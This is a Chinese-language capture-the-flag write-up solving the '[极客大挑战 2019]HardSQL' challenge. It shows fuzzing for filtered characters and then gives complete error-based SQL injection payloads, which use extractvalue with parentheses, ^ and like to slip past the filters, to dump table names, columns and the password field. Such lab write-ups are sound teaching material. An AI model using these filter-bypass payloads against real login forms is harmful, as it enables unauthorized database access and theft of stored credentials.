SQL注入之——[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
还是不断的放狠话。这次注释密码的方式也登录不上了。
通过暴力**,可以发现被过滤的字符。
这里需要注意的是,在暴力**这个过滤字符的时候,需要调低线程和重试的时间间隔,否则后面就会不断的报出429
的错误,表示请求数量过多。
从上面的结果中可以看出,很多字符都被过滤,常用的联合注入的字符也不能使用,因此选择使用报错注入。
但是在构造报错注入语句时,发现了问题。
常规的报错注入语句为: or updatexml(1,concat(0x7e,database(),0x7e),1)#
或者:or extractvalue(1,concat(0x7e,database()))#
但是从上面的结果中发现,空格和and
被过滤了,但是or
没有被过滤,仍然可以使用。
解决办法:
从括号代替空格。
可以用^
连接函数,代替or
和and
,当然使用or
是没有问题的,测试有效。
爆出当前数据库
查询表名
playload:username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23&password=123
然后试试查询geek库里的表。
这个网址还过滤了等于号。
解决办法:
用like
代替=
playload:username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23&password=123
查字段
username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23&password=123
查数据
username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1))))%23&password=123
发现flag
只是出现了一部分。
substr
过滤了不能用
解决办法:
left(),right()
playload:username=1'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23&password=123
用left和right进行拼接就出来flag了。